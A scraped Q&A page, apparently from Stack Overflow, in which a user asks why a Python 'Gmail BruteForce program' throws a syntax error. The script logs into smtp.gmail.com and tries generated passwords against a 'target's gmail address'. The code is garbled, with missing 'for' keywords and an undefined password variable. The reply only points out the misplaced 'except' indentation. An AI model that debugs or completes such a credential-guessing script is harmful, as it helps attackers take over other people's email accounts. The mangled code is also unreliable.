smtp - A basic gmail BruteForce program in python -


i trying figure out why isn't code working. trying improve python skill adding code another, when tried execute keeps giving me syntax error.

import itertools  import smtplib  smtpserver = smtplib.smtp("smtp.gmail.com", 587) smtpserver.ehlo() smtpserver.starttls()  user = raw_input("enter target's gmail address: ") def print_perms(chars, minlen, maxlen):      n in range(minlen, maxlen+1):          perm in itertools.product(chars, repeat=n):              print(''.join(perm))   print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)  symbols in print_perms:     try:         smtpserver.login(user, password)          print "[+] password cracked: %s" % symbols         break;         except smtplib.smtpauthenticationerror:             print "[!] password inccorect: %s" % symbols 

the output is

file "main.py", line 22                                                                                                                                                            except smtplib.smtpauthenticationerror:                                                                                                                                               ^                                                                                                                                                                       syntaxerror: invalid syntax  

i don't understand, may discover , patch problem

indentation!

except should @ same indent level try.


Comments

Popular posts from this blog

c++ - llvm function pass ReplaceInstWithInst malloc -

Cross-Compiling Linux Kernel for Raspberry Pi - ${CCPREFIX}gcc -v does not work -

java.lang.NoClassDefFoundError When Creating New Android Project -